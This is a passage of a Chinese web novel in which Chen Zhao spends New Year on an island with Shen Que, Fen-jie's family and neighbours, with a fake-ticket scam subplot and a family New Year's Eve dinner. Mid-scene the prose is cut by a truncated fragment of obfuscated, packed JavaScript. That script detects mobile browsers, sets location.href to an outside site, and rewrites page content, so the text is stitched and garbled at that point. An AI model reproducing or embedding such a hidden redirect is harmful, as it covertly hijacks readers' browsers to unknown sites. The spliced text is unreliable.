她哼哧一声,美滋滋地拿出吹风机准备把票根吹干。 可等她坐到书桌前时,赫然发现那票根处的签名竟然已经晕成了一团! 她慌慌张张的举起票来,还发现那张票的日期竟然,竟然和印象中演唱会的时间有误!! 周竹君两眼一黑,一口气差点上不来:“奶奶的,网上这狗东西竟然造假票来骗我!!” “这根本就不是EC的亲笔签名,这票都是假的!凸(艹皿艹)!” “我要杀了她!!!” 周竹君冲到主机前打开电脑,双手几乎都要在键盘上敲出火星子了…… 19. 019. 再过几天就大年三十了。 赵写茹给陈昭打过电话,本想问她什么时候回明港,可听到她声音的那一刻,她已经有了答案。 “明港有什么好的啊,过个年还得发工资给师傅帮你做年夜饭,算了,我看你还不如在那小岛上,找个饭馆吃个盖浇饭来得简单。” 陈昭被她逗笑,但也在认真考虑:“说起饭馆,我好像还真有这么一个地方可以收留我过年。” 午餐时她便去了芬姐的饭店。 如今都要过年了,饭店不忙,就隔壁几个邻居坐在外面陪芬姐唠嗑,偶尔来个人到这简单解决午饭。 等陈昭到那的时候,蔡叔也在。 不过他却是神色凝重地独自喝酒,旁边还摆着一盘子鱿鱼干。 陈昭还想上前打招呼,却被芬姐拦下来,招呼她过去:“他这会心情不好呢,别过去惹一身腥。” 陈昭大概能想到,十有八九是和蔡奇有关。 他老婆去得早,他这当爸又当妈的,拉扯蔡奇长大不容易。 嗑瓜子的邻居闲聊道:“蔡奇这男孩,没有女孩那么细腻的心思,这父子俩又都是个犟种,家里没个女人中和,不得大眼瞪小眼咯!” 说完还不忘打趣芬姐:“不像芬姐你和竹君,母女俩虽然也有摩擦,可是女孩子心思敏感些,你看竹君平时多心疼你,多理解你啊。” “要我说啊,你们这两家趁早组一起的了,你啊……” 可话说到这,邻居婶婶见芬姐的脸色微变,便收住了话不再开口。 讪笑一声后把话题转移到蔡叔身上。 “老蔡,你也别烦了!你年轻的时候可不比你儿子懂事到哪去!要我说啊,你那会还不及你儿子呢。” “整天抱着个吉他,蓬头垢面的四处混迹,你家老头子要不是因为你,他也不至于瘸一辈子咯!” 芬姐立刻杵了下婶子的胳膊,婶子自知说错话,赶紧闭嘴。 “哎我这嘴啊,哪壶不开提哪壶,别生气,你别生气啊老蔡。” 话音刚落,真正蓬头垢面的蔡奇进来了,顺着这话怼了他老子一声。 “他年轻那会哪有我这么有志气?” “跟个精神病似的整天不归家!把我爷爷给气的!都活不过70!现在知道后悔了,就把压力强加到我身上!” “非要我出去打工,出去见世面,出去找个师傅踏实做工,那会他自个怎么不做?” 蔡叔被这臭小子一呛声,气得摔了筷子! 脸色赤红的指着蔡奇鼻子就骂起来:“我看你要翻天了!我是你老子,我不该管你是吧?我不该说一句话!” 旁人一见,自觉地抱起他们工具先走一步。 陈昭看到这阵仗,下意识地想劝慰,却被芬姐拉出饭店。 “他们两不是第一次吵,这会谁劝都没用!昭昭,你是不是打算留在小岛过年啊?” 对于这父子俩,村里人早就习以为常了。 反而芬姐看这都快到年三十了,陈昭也没打算走的样子,便有此想法。 看到陈昭点头后,她立刻带着她上楼:“那正好,我有些东西想给你。” 陈昭一愣,跟着芬姐上了楼。 只见她打开一个房间门后,将桌子上大大小小的袋子都拎到陈昭面前。 “这些都是我准备的年货,拿出了一些给你。” 陈昭微愣,连忙摇头:“芬姐,我自己又没开火,你给我这么多的好东西岂不是浪费了?” “你什么时候会明港就带回去!这些都是我自己做的,你虽然来小岛的时间不长,可是你帮了我很多。” “昭昭,我知道你条件应该挺好的,但我也没别的东西可以感谢你,就这点心意你看……” 陈昭听她这么说,也就不推拒礼物了。 “好,芬姐亲手做的礼物,我当然喜欢。我这就拿着。” 她笑盈盈地接过来,芬姐更加开心了。 顺势说道:“既然你过年不回去,那不如叫上小沈,和我们在店里过年吧!” “我和竹君两个人过年也是冷清,这两年都会叫上老蔡父子俩,去年小沈三十那晚也是和我们一起过的,今年咱们一起。” 说完也没给陈昭拒绝的机会,拿出手机快速给沈确发了一条信息过去。 陈昭笑了笑,也正如了自己的意。 虽然有些不麻烦别人,可是中国的团圆夜,不就是图个热闹么。 她已经很久没有热闹过了。 去年虽然孟均回来了,可是两人大眼瞪小眼,说不出的尴尬。 比起她和沈确相处的轻松无负担,和孟均呆在同一个屋子里,她只有生疏。 无形中两人之间仿佛隔着一堵墙似的。 度秒如年的感受不太行,于是她便找了个借口去工作,最后孟均被孟家喊了回去。 让她一起的时候,陈昭拒绝了。 她至今还记得孟均沉下的目光。 也许是从那一刻起,孟均对她也不再有任何心思。坦然放她自由,双方都不再过多联系。 除了一些必要的事之外。 当然,过去的几年,陈昭都很怀念有沈确在身边过年的日子。 当然也仅仅在夜半时分,无人知道的时候,她才放任自己去想一下。 楼下蔡奇父子二人的声音不知道什么时候消失了,陈昭拿着年礼下楼,正巧碰见竹君抱着一个键盘下楼。 看到芬姐和陈昭时,她立刻拉起卫衣帽子,沙哑着声音招呼了她一句昭昭姐后就飞速跑下楼梯。 陈昭连她的模样都没见着,就跟踩了风火轮似的。 芬姐皱着眉头说了她几句:“毛毛躁躁的!” 殊不知此刻的周竹君眼睛都要哭瞎了,浑身就像一个随时能喷发的火山似的! 昨晚她不依不饶地在网上和卖票的那人扯皮,一顿问候他全家后,那人竟然直接装死,删了她所有的联系方式。 无论周竹君想什么办法去找人,都无济于事。 钱也不是很多,报警都没用。 那人也是个惯犯,好几个被骗的,都拿他毫无办法。 无奈之下周竹君只好各种平台开骂,挂人,奋斗一天一夜都没睡。 刘润生陪着她骂到早上,直接发烧去了诊所挂水。 而她键盘真的被敲坏了,这会抱着键盘去找刘润生修一修,顺道为这个同僚买点吃的慰问一下。 再问问他看还有没有其他的办法。 陈昭吃过饭后才拎着年礼回家。 没想到途经一条巷子时,发现周竹君正对着电话怒骂! 偏偏她又骂不过似的,来来回回就是那几句王八蛋,兔崽子。 陈昭不知道对方说了什么话,直接把她气得原地跺脚,骂不过就算了,对方还挂了电话,几次打过去都没回应,气得她当场坐到地上抱腿痛哭起来。 手机屏幕也被摔裂了一角,这下她就哭得更凶了。 陈昭站立了一会,轻咳了一声后走去她身边,递给她一张纸巾后轻声问道:“还因为那票生气呢?” 听到她的声音,周竹君连忙收住哭声,一抽一抽地接过纸巾狠狠擤了鼻涕。 又折叠起来擦了眼睛后才告诉她:“我不是为了丢票的事生气,而是我被骗了!” “那王八蛋造假票骗我!还花了我不少钱,我为了那点钱,我……我……” 说到这,周竹君又忍不住想起了芬姐。 一下子绷不住情绪又呜咽起来:“我……我都答应我妈不搞这些事了,可是我还是买了票!还被……还被人骗了!!” 为了让她去演唱会,她妈日夜做工,一天下来睡不到几个小时。 她不忍心看着她这么辛苦,还是为自己这点追星的小事!那天她都决定不再追星。 可是后来自己还是抵不住诱惑,哪怕去不成演唱会,也去买了签名的票根做个念想。 现在她无比懊悔,只觉得自己不是个东西,又蠢又不孝,连骂都骂不过别人! 说不到两句就泪失禁,越想越气,越气脑子就越嗡嗡作响。 到最后她直接抱着陈昭痛哭出声,哭到中途像要断气似的,可把陈昭给吓了一跳。 好不容易等她情绪稳定一会后,陈昭才有机会开口。 “常在河边走,哪有不湿鞋的?” “被骗而已,就当长个教训了。不过,你真的那么喜欢EC?追星会让你开心吗?” 说起这个,周竹君倒有些不好意思起来。 抽泣着尽可能稳住情绪,认认真真地回答她。 “昭昭姐,站在你们的角度肯定不会理解我们这种追星人的。不过我很理智地追,我知道我现在学习是最重要的,也没有因此影响过我读书。” “反而听到EC的歌,看到他的脸,我就觉得开心。特别是想到EC曾到过谷底,被全网黑后他还能坚持到现在,即便遭遇车祸,封杀等各种事情,他都能坚持下来,我就觉得我是真的能从他身上汲取力量。” 说着说着她又低下脑袋:“我说的有些抽象了,总之别人可能不理解,但我自己是理智的。” 陈昭笑了笑,她没有追过星,但却有过通过别人汲取力量的时候。 所以她大概也是可以理解的。 “既然你偶像给你带来这么大的力量,被骗的事情就让它过去吧。” “上次听你说他年后还会来聆海开演唱会,到时我请你去怎么样?” 周竹君双眼发亮,但也以为这是陈昭安慰自己的话。 上次她就说要带自己去看演唱会了。 虽然两人认识时间不长,可这一刻竹君觉得陈昭是个特别好的姐姐。 她平静了情绪,和陈昭往同一个方向走。 期间她又想起什么事,忽然停下脚步定定地看向陈昭,环顾四周一眼后,压低声音问她。 “昭昭姐,有件事……我一直想问你来着。” 陈昭疑惑的看过去:“哦?什么事?” 周竹君想了一下,最终还是敌不过心里的好奇:“你和确哥是真的……真的姐弟关系吗?” “就是他是你姑姑的儿子?” 想到确哥手机上的屏保,周竹君觉得不妙。 陈昭脸色未变,只是点点头。 这下让竹君整个人都不好了,心里大喊:“好家伙啊,确哥这胆子是真大!!” 白月光竟是他的亲表姐,这还了得?? 有一说一,他不仅胆大,还很惨。 以后可咋整! 当然,此时此刻竹君的这些心理活动,陈昭是完全不知道的。 等到了前方分叉口时,竹君要去诊所,与她走了不同的路。 - 次日下午陈昭接到了康老师的电话。 他们打算明天离岛回家过年,等年后再回来。 “昭昭,你既然留在这过年的话,那小楼就麻烦你时常过来看看了。年后工人开工了,我们两口子就过来。” 陈昭连忙点头,顺道还拿了一点芬姐给自己的年礼分给康老师。 芬姐给她那么多,放在那里不吃的话唯恐浪费了。 后来陈昭还亲自送康老师两口子离岛。 陈昭看着码头上来来往往的人,不知为何忽然有种恍然隔世的感觉。 仿佛身处这世界,但又好像不在这世界一般。 马路边上到处都是晒年货的人,家家户户挂的海鲜干货,在空气中散发着一种海的气息。 闲来无事的陈昭沿着海岸边走,下意识就走到了当初吃包饭的那片海滩。 不少小孩光着脚丫子在沙滩上跑来跑去。 其中就有豆豆。 “昭昭姨!” 她看到陈昭后,张开双手就朝陈昭扑过来。 陈昭连忙抓住她的手,被她热情邀请到捡贝壳的行列中。 沙滩前的浅水里有不少石块,上面密密麻麻地长着一些贝类。 小孩子就喜欢玩这些,陈昭一边拦着他们不要走太深,一边又被豆豆带到贝类的密集处。 她脱了鞋子,蹲在礁石上让孩子们指挥,他们说要哪个,自己就帮他们去捡哪个。 一顿折腾下来,小圆桶里装了不少。 豆豆他们纷纷围着陈昭,心满意足地大肆夸赞。 她失笑,转身去穿鞋,结果回头一找,鞋子不见了…… 陈昭微愣,左右看了一眼后确定鞋子不见,不知道是被谁恶作剧藏起来了,还是被海浪给冲走了。 疑惑之际,一个黑色的人影拎着一只鞋子站在身后的礁石上喊她。 “陈小姐,是你的鞋子吗?” 陈昭闻声看去,那人也朝他走过来。 原来是杨指导。 不过他此时手里只有一只鞋子:“是不是你的鞋?我刚刚在那边捡到的,还有一只不知道去哪了。” 陈昭接过来,忙着感谢:“谢谢杨指导啊,这的确是我的鞋子。” 看到这一只鞋,陈昭也不好穿,索性放到一边去。 杨指导双手叉腰,笑眯眯地从背包里拿出一双一次性拖鞋。 “巧了,我刚出差回来,顺了酒店一双鞋,干净的。” 陈昭眉眼微动,只能再次感谢杨指导。 “刚刚我看你和豆豆他们一帮小孩子玩的好,看不出来啊陈小姐。” 他多少也听说过陈昭一些事,毕竟是沈确的姐姐。 所以陈昭能耐着性子和一帮小孩玩,的确是出乎他的意料。 彼时傍晚的斜阳悬挂在海平面上,满世界都被这落日光芒笼罩起来。 杨硕看着眼前的女人,好像镀了一层金边似的。 正想约个饭,话还没出口,一个拿着相机的男人远远就和杨硕打起超乎。 “杨指导!” 此刻陈昭也看到了那人,男人举着相机正在拍一对新人。 这么好的夕阳,的确适合拍个婚纱照。 不过看他的样子好像是收工了。 他满头大汗地走过来,看到陈昭时愣了一下,然后别有深意地将目光落到了杨指导身上。 杨指导坦然介绍:“这位是小沈的姐姐,陈昭,来咱们这小住,放松心情的。” 一听说是沈确的姐姐,男人连忙伸手过来招呼。 “原来是小沈的姐姐,你好你好,我叫杨铭,是杨指导同姓不同家的外族兄弟。” 杨硕轻踹了他一脚:“吃饭没?” 杨铭无视他的话,想起了另外一件事:“话说你让我拍那官网宣传照片的,拍了一些发你邮箱了啊。不介意的话,你们两个就充当个游客,出个镜呗?你看现在光影这么好!别浪费了!” 杨硕自己倒是无所谓,只是想到陈昭一个女生,下意识替她婉拒。 但没想到陈昭却大大方方地点头应下:“如果摄影师觉得我此时造型还算不错的话,我可以配合配合。” “当然没问题!!来来来,我们去那边!” 杨硕微愣,但很快恢复如常,两人就当日常走路,坐礁石,聊天。 随着杨铭的引导进行互动就可。 不到二十分钟就已经拍了无数张杨铭十分满意的照片! 他一边看回放片子,嘴里一边夸赞个不停。 “这张真是绝美啊!!” “郎才女貌,拍得也太好了,这不比我拍的那些婚纱照还好看嘞!” “果然人像三要素齐聚一个就行了!” “陈小姐真是个大美女,怎么拍都是无死角啊,哎我去……还有我杨指导这肌肉还真不是白白锻炼的。像你这样上了这年纪还能坚持锻炼的中年老男人,真不多了。” 此话遭到了杨硕几个大白眼,不过看在大美女陈昭的份上,杨硕忍着没发作。 他本人也对这些照片很满意。 不仅仅是他们,就连小岛旅游对外宣传的平台主页,当晚就挂上了这些照片。 甚至研究院的宣传部两位编辑,看到杨硕都忍不住吹了一通彩虹屁。 “杨指导,我看你也别带团队了,不如进娱乐圈拍戏,火了赚的还多!!” “别把咱们杨指导说飘了,我看还是多亏沈确姐姐在旁边抬他呢!美女在旁,再丑的牛都顺眼了。” “哎我看你们是活腻了啊!” 杨硕作势捶他们,但脸上的笑容却怎么都下不来。 明明是很普通的一张照片,可就是好看。 左看右看,都好看。 他收回目光,决定明天请杨铭那小子吃个饭。 然而这些事陈昭并不知道,也没在意。 平时她很少拍照,这次也只是一个宣传照而已,她并没多想。 晚上在阁楼的时候,她看到和沈确的聊天框,拍了一张芬姐给的年礼照片发给他。 【分点给你。】 消息发出去后,却没了下文。 陈昭想,他大概率是在忙。 过了明天他们也放春节假了,最后两天班肯定事多。 就像赵写茹一样,已经三四天没有消息了。 只在今天晚上发了一张开大会的照片给她,还配文羡慕:“我觉得我也是时候考虑以你为目标。” “工作久了,多了,人就特别疲惫。以前觉得躺平是人生最没用的选择,现在反而觉得,躺平是人生最奢侈的选择。” 陈昭发了哈哈两个字过去。 看照片的时候忽然看到会议室里还坐着一个熟悉的身影——孟均。 她直接给赵写茹打了一通电话问她:“你们公司的年终大会,他怎么会过来?” 赵写茹看到那张被圈出来的照片,告诉陈昭:“你真是隐居了,完全不关注明港了是吧?” “新丽在你舅舅的带领下,遇到了……不少的困境,这就便宜了你的前夫。他抓住机遇风口,从你舅舅手中怒抢两个大项目,转而找到我赵氏合作。不知道的还以为你前夫怒发冲冠为红颜,为你狠狠出口恶气。” 说完还给陈昭截图了某家报社的新闻,如赵写茹说的那样,她离开新丽后消失无踪,孟均当众抢夺新丽资源,这不得让人浮想联翩? “倒是一出好戏,这家报社做什么财经新闻,专攻娱乐圈早就发达了。” 但这些事陈昭并不放在心上。 她放在心上的事反而是年前她要买点什么东西去芬姐家才好。 总不能跟着人家一起过年,还两手空空去,那多不合适。 当晚她就打定主意,明天去找沈确,和他一起去聆海市区买点东西。 次日她早早就来到了研究院宿舍。 值班的保安如今也是认识她了,毫不犹豫便请她进去。 来到门口时她正要敲门,赫然发现门是开着的,便顺势推门而入。 结果刚走到玄关处,她双脚便下意识地停在原地。 屋内气氛有一瞬间的僵凝。 面前的男人只穿了一条宽松的灰色家居裤,上身全/裸。头发还半湿地顺在额头上。 陈昭怔了一下,收回目光,表现坦然地拿出拖鞋开口。 “我看你没关门直接进来了。” “芬姐邀请我们年三十那晚去她饭店吃团圆饭,我想着和你一起去聆海买点东西,你快换上衣服,现在就走。” 然而沈确竟是无动于衷。 他放下正在喝的那杯水,揉搓了几下头发后坐到沙发上沉默着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823471|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈昭有些不解:“你不去吗?我们总得买些东西才行。” 沈确走到冰箱前拿出冷藏的水。 黝黑的双眸忽然直勾勾地凝视着陈昭。 刚刚她还能佯装镇定,但无端对上他这么直白的视线后,陈昭的眉头微微一动,下意识地别开目光。 耳根莫名有些发热。 忽然间她觉得有些好笑。 这样的场景不是第一次遇见了,如今却是彼此换过来,她成了窘迫的那人。 坦然淡定的人反而是他了。 很多年前,陈昭有一次提前下班回家,没想到刚好那天是周五,沈确也从学校回家了。 她进屋第一时间奔向卫生间,正要开门时,沈确就从里面走出来。 那时的他也像这样,只穿了一条家居裤。 冷不丁地和陈昭撞见,他浑身的线条都戒备得紧绷起来。 平日里也不过是个刚满十八岁的小孩,可陈昭那次却是第一次见到,印象中的那个小孩,不知不觉中竟然有了一具成年男性该有的身体。 氤氲水汽的卫生间,光线朦胧,他整个身体紧致又极具力量感。 劲窄的腰腹,肌肉线条分明,薄肌下的身体干净又修长。 只一瞬间,沈确以肉眼可见的速度脸红,然后脖子红,耳根红,直到整个上半身都一片红温。 陈昭愣住的片刻,他迅速把手里的浴巾披上! 视线闪躲,吞吞吐吐地说道:“昭姐……你怎么回来了?” 陈昭看他红的像个虾子似的,镇定的掀眼,顺手将手里的冰咖啡递到他面前,让他冷却一下。 然而多年后的现在,她竟成了那个脸色晕红的人。 还是不受控制的那种。 不等陈昭再开口,沈确将那瓶冰凉的水,像以前自己递给他冰咖啡降温一样的递到她面前。 她垂下眼眸,想说点什么来掩饰自己无端而来的慌乱。 可偏偏她的脸热到一时冷不下来。 而面不改色的沈确就只是盯着她,就像一只猎豹盯着它的猎物,审视又掌控有余。 从来没有人在陈昭面前流露过这份目光。 哪怕在争夺陈家继承权,创办新丽时遇到不少对手,也没人对她这样。 甚至他还陡然逼近,刚沐浴过后的木质香味顿时冲鼻。 陈昭眉头一蹙,迎面便被迫对上沈确冷笑的目光:“需要我帮你联系杨指导带你去聆海?” 陈昭不明白他无端提起杨指导做什么。 和他拉开一点距离后严肃道:“是我和你去芬姐那过年,不是我和杨指导。” 她同样垂下眼眸,微垂的目光表明了她的极为不满。 那收敛笑意的脸出现了熟悉的冷冽,这才是别人眼里的陈昭。 连带着语言都变得冰冷起来。 “你如果不想去我不会勉强。” 撂下这句话后,陈昭转身就走。 沈确下意识地从沙发上套上卫衣跟了过去。 她走的很快,风风火火,似平时在公司赶会议那般。 沈确则快步跟在后面,即将要追上之际,路过的好几个人都朝陈昭投来异样的目光。 她也说不上来这是什么样的眼神,只是让她感觉很奇怪。 直到保安大爷忽然从保安亭里探出头,笑眯眯地问她。 “姑娘!你和咱们杨指导谈对象了啊?” “哎呦,恭喜恭喜,敢情杨指导一直不谈恋爱,是因为等你这大美女呢!” 至此,陈昭才停下脚步,唇角一动,忽然明白了沈确大早上的别扭什么。 她往保安大爷的亭子里看了一眼,电脑上正是她和杨指导昨天在海边拍的那张图片。 不言而喻,她便知道怎么回事。 此刻沈确也来到了她身边,面无表情地和那大爷说了一句。 “这人已婚,和杨指导没关系。” 大爷一听,震惊不已:“啊?小沈你姐姐已经结婚了啊?真看不出来,那她老公是谁啊?杨指导吗?” 这话倒是把陈昭给逗笑了。 沈确却是一把将她拉到马路上,旁边就停着他的自行车。 他一脚蹬上去,看向陈昭示意她坐后面。 陈昭没动,只道:“我一个人去就行了。” 说完便继续往前走。 沈确眸色一沉,果断在后面喊住她:“陈昭!” 三两下骑到她前面挡住她去路。 “上车。” 陈昭勾唇,刚刚那点怒气早就在大爷的话中消散。 坐到车上后,沈确的语气才缓和几分,但也没好到哪里去。 “你和杨指导不合适。” 这话令陈昭有些愣然,而且更奇怪他为什么这么说,难道不应该拿她已婚的身份来说么? “我和你‘姐夫’就合适?” 沈确不以为然:“和他没关系。” “我只是单纯说你和杨指导不合适。” 陈昭的心里涌出一股异样的情绪,她很识趣地掐断了这个话题,顺口解释了一句。 “昨天偶遇杨指导和他朋友,帮他朋友出了个镜。” 迎风而动的沈确敛下目光,掩饰脸上渐浓的笑意。 末了还不忘哼哧:“陈昭,我一定要知道吗?” 陈昭:…… - 不知道是不是陈昭心里不快,她进行了一次报复性的购物。 吃的穿的用的,几乎是看到什么就买什么。 本来沈确两只手还提得下,但后来发现自己的两只手对于她而言,完全就是杯水车薪。 陈昭在明港很少这么“血拼”。 一般情况下,无论她想要什么,助理都会按照她的意思为自己准备妥当。 这次亲力亲为,购物也是能让人上瘾的。 拿不下的就找人送货,不管对方提出要多加多少送货费,她都是欣然应下。 毕竟聆海的物价,对她而言真不算什么。 沈确自然也是知道的,所以什么也没说。 以前可能还会和别人一样,想着陈昭含着金汤匙出身,生在那么好的环境,家产多那都是命运使然,别人羡慕不来的。 但和陈昭住在一起后沈确就发现,她拥有的一切,都是她该有的回报。 她为工作付出,得到相应的报酬,是她能力的体现。 谁也没资格指点。 一整天逛下来,什么东西她都买齐了。 见距离最后一班上岛的船还有一些时间,沈确带着陈昭去了附近一条很有聆海特色的小吃街。 熙熙攘攘的人群中,陈昭看到什么就想买什么,然而她自己吃不下那么多,也不想浪费,索性把主意打到沈确身上。 打着卖给他的旗号,自己尝了第一口,然后便全部落进沈确的胃部。 沈确很无奈,可看她开心的样子,他又觉得自己也很开心。 那双眼睛紧紧跟着陈昭,眼底的爱意几乎要溢出来。 好在每次陈昭看向他时,他都能第一时间收敛。 他们人还没回小岛,他们买的东西倒是挨个送到了芬姐的店里。 大概是她出手阔绰的原因吧,送货时效都变快了不少。 芬姐和竹君母女两盯着店里慢慢堆成小山的东西,不由得睁大了眼睛。 看到外面的人还在搬箱子进来,竹君实在忍不住,跑到芬姐面前疑惑起来:“妈,这都是昭昭姐买的啊?” “她买什么了啊?买这么多!!咱们屋里都要放不下了!” 从那些箱子外包装看,还有什么微波炉啊,咖啡机都有。 她十分费解,后来又看到好几个包装精巧的衣服袋子,挨个被送到店里。 袋子外面的品牌让周竹君愣了好一会! “这是昭昭姐买的衣服吗?这么贵的牌子,还买了这么多?!妈,我们这是傍上大款了啊?” “别瞎说!这些东西你先别动,等她回来问问看。” 周竹君极力忍住自己想要拆包的手,帮着去外面搬东西了。 一直等陈昭回来,他们才知道这些东西竟然都是买给他们的。 不过还有一部分,是沈确买给村里几个相熟的老人家的。 今天陈昭才知道他每年都会给村里一些人买点东西。 陈昭打趣他:“你们研究院的工资很高吗?你这么买不怕破产?” 沈确轻笑,将当初陈昭送给自己的一句话回给她:“曾经有人和我说过钱生钱的道理,我就将这个道理滚了滚,铭记于心。” 所以经济方面,他完全独立,不需要她担心。 更何况……沈确还不知道姑姑给他留了一笔不菲的资金,但不是现在这个时候给。 她和沈确把给老人的那些东西单独分出来,剩下的那些,都是给芬姐他们准备的。 “我也不知道要买些什么好,总之看到什么就买什么了。芬姐,你不要和我客气,你能收留我过年已经很感激了。这些东西,就当我之后的餐费好了。” 芬姐真不知道该怎么婉拒才行。 周竹君虽然也是高兴不已,但东西太多,光是那几件衣服都已经贵重到她不敢想了。 因此她心中有愧,不敢多收。 陈昭深叹一口气,佯装为难起来:“这也无法退了,买了你们不收的话我真为难。芬姐,竹君,行行好咯?” 怔愣间,周竹君忽然痛哭出声! 她哇呜一声抱住了陈昭,这一刻还不忘对沈确表示深深的理解! “确哥果然是慧眼识珠!我能理解你了确哥!世俗偏见不足为惧!干就完事了!” 沈确:…… 20. 020. 由于陈昭买的东西实在太多了,一个房间都堆不下。 当天晚上,竹君连夜拆包,看着满满当当的东西,既开心又感激,当然,也有难以置信。 “妈妈,你知道这种感觉怎么形容吗?” 她对上芬姐的目光,认真说道:“这就是……傍上大款的感觉。” 芬姐还以为她要说出什么好话,结果这句话一出,她立刻沉下目光来:“别有什么想法,你昭昭姐姐的事也不要随便去打听,人家的好意我们受着就好,平时也要多多关心她,至于其他的,不要惹人家不快,也不要去过多的打听……” “知道了妈!你把我想成什么了啊?人家昭姐条件好,又不是我们条件好。能让我当一回‘灰姑娘’,我已经很满足了!” 她也不会想太多,不过有了今天这事,那票根的事都被她忘却脑后。 果然,人的痛苦是会被迎面而来的快乐冲散的。 - 年三十那天,芬姐很早就开始忙碌。 由于陈昭的加入,她更加重视,加上陈昭买了不少东西,连带着一些珍贵食材也有,她用尽浑身解数,都要把东西好好做。 周竹君和蔡奇他们都是欣然帮忙,难得的是沈确也大早过来帮忙了。 蔡奇看到他在厨房里游刃有余地模样,还带着质疑的目光盯着他:“确哥这么会做饭的吗?这么多年我竟然不知道?” 平时他的一日三餐都是在研究院的食堂解决,到了假期,不是在他家蹭饭,就是在芬姐家蹭饭,亦或者去杨指导那蹭。 总之就没见他下过厨。平时他那吊儿郎当的样子,蔡奇也只觉得是个十指不沾阳春水的,在厨艺方面肯定不如自己有天赋。 结果今日他是开了眼界。 而且还做了平时在小岛上难以吃到的菜色。 腊味拼盘,白斩鸡,烤乳鸽……还有蒜泥大虾,炭烤小羊排,再加上芬姐做了各种海鲜菜色,加个煲了足足三小时的老火靓汤,最后以南乳炖猪手收尾,满满一大桌的菜,都动用了饭店里最大的那张桌子。 连蔡叔过来,看到沈确做的这些,由衷地竖起了大拇指。 “小沈真是有两把刷子啊。” 陈昭是极具时间观念的人,在约定的时间来到饭店,结果看到菜已经都做的差不多了。 竹君穿上了陈昭给她买的那件鹅黄色的大衣,显得少女娇俏又可爱。 她迫不及待的在陈昭面前转了一圈,展示自己的搭配成果:“昭昭姐,怎么样?是不是很好看!” “你送的几件衣服都太好看了!我都不知道怎么选!所以我决定每天都换一件新的穿!” “还有啊,我妈也换上你给她买的大衣,她还不好意思穿呢,我今天一大早就撺掇她穿上,费了我不少口舌!我还给她化了妆,嘿嘿,你快看!” 顺着竹君的视线看去,陈昭看到了在厨房忙碌的芬姐身影。 此时她已经把大衣脱下,整整齐齐地挂在衣架上,大概是怕干活弄脏衣服。 可是烫过的头发,化完妆的脸,还是让她增色不少。 看起来温婉又大气,很是漂亮。 目之所及处,她也看到了同样在忙碌的沈确。他好像有感应似的,在陈昭看过去的瞬间就对上她的目光。 只见他眉眼微动,顿时放下手套径直朝她走过来。 “怎么样?要不要验收下‘弟弟’的诚意?” 他刻意强调了弟弟两个字,这可把一旁的周竹君都激动的脚指头都扣到一起了! 这何尝不是一种!磕道德沦丧cp的一种打开方式呢?! 表姐表弟,还是有夫之妇,换成古代戏本子,那就是娇俏小郎君横刀夺爱小娘子,放现代就是头铁小帅哥勇闯人妻赛道啊! 只可惜,她只能一个人暗暗产粮了。 不过她心里这点小九九,其他人自然不知道的。 陈昭知道沈确会做饭,手艺还不错,所以并不惊讶。 只是再次吃到记忆中的味道,心里忽然涌出一股难以言喻的情绪。 这种情绪,她没办法用言语准确形容,只觉得,是一种令人无比心安,也无比……开心的。 好像她和沈确之间,回到彼此最亲近,最珍惜的那几年。 并没有出过任何意外。 可是当她对上沈确的目光时,又被拉回现实。 他们之间,也许再无可能回到那个时候,且不说沈确,就拿她自己来说,那颗心就不是纯的。 一切的平静,不过是暗涌流动的湖面罢了。 好在她这个人,最擅长的就是违心。 连夸人,都听不出里面的半真半假:“味道很好,我‘弟弟’还是一如既往的大厨水准。” 沈确失笑,反问她:“这几年没尝过,会不会很想念?” 明明是很简单的话,但陈昭却在里面听出了别的意思。 她权当没听出来,只浅显的回答表面问题:“味道这么好的年夜饭,当然会想念。” 末了还不忘补充一句:“等明年,后年,我也会想念今年的除夕夜。” 蔡奇“砰”的一声起开了一瓶酒,嚷嚷起来:“当然会想啊!咱们都是一起吃过年夜饭的人了,四舍五入就是一家人!来,倒酒倒酒。” 竹君眼巴巴的递过杯子,却被蔡奇一记白眼翻过去,让她老老实实去喝牛奶。 她不屑道:“又不是我亲哥,还端我亲哥的架子!” “不是你亲哥?周竹君,你真是丧尽天良啊,亲哥难道非要用血缘来界定吗?哥对你有多好你心里是不是没数?没数的话这东西那就当喂狗了!” 说完还晃动口袋里那厚厚的大红包。 周竹君双眼一亮,她能屈能伸!马上变脸,双手勤快的给他捶上了肩膀,满脸谄媚。 “哥!我的好哥哥!你当然是我亲哥了!刚刚那话你还听不出来妹妹我开玩笑的么?” “你对我,谁敢说一句不好啊?是不是?” 她使劲眨巴眨巴眼睛,手心摊开,已经摆好了接红包的姿势。 旁人都忍俊不禁。 沈确顺势朝陈昭摆出同样的姿势:“姐姐是不是也该有些表示了?” 陈昭诧异,这还是他第一次主动伸手跟自己讨要守岁红包。 曾经她是硬塞到他手里他都不要的。 还冠冕堂皇的说自己不缺钱,就他们两个人也不需要这些仪式,心意领了就行。 看到陈昭变了脸色后,他才跟只犯错又急着讨好的小狗一般,低垂眉眼,主动接过红包。 “谢谢姐姐。” 陈昭这才缓和神色,顺便摸了摸他的小脸,变得开心起来。 今日陈昭也准备了大红包,每个人都有,当然她这个“弟弟”自然不会例外。 放到他手上后,习惯性的伸手碰到他的脸,停顿一秒后陈昭佯装镇定地掐了他一把。 还未说话,沈确扬起一个明媚笑容,别有深意地说开口:“谢谢‘姐姐’。” 陈昭战术性的喝酒,饭店里的大电视正放着春晚,陈昭看得很入神,倒酒时连芬姐都诧异说:“昭昭,没想到你这么喜欢看春晚啊?” 陈昭微微一笑,没有告诉她,往年她都是一个人看春晚过来的。 以前和自己一起看的,有老太太,有姑姑,还有沈确。 后来一个两个的都不在身边了,就只剩下自己一个人看了。 说不上多喜欢,只是不看的话,就显得自己太孤单了点。 平时没那种感觉,是因为明港这座偌大的城市里,大家都有手头的事情要忙。可是到了除夕就不一样了。 街道空荡荡,写字楼也了无人影,她所住的区域,公共地方都没有人。 只能远远通过窗户,看到别人一家子其乐融融的在一起。 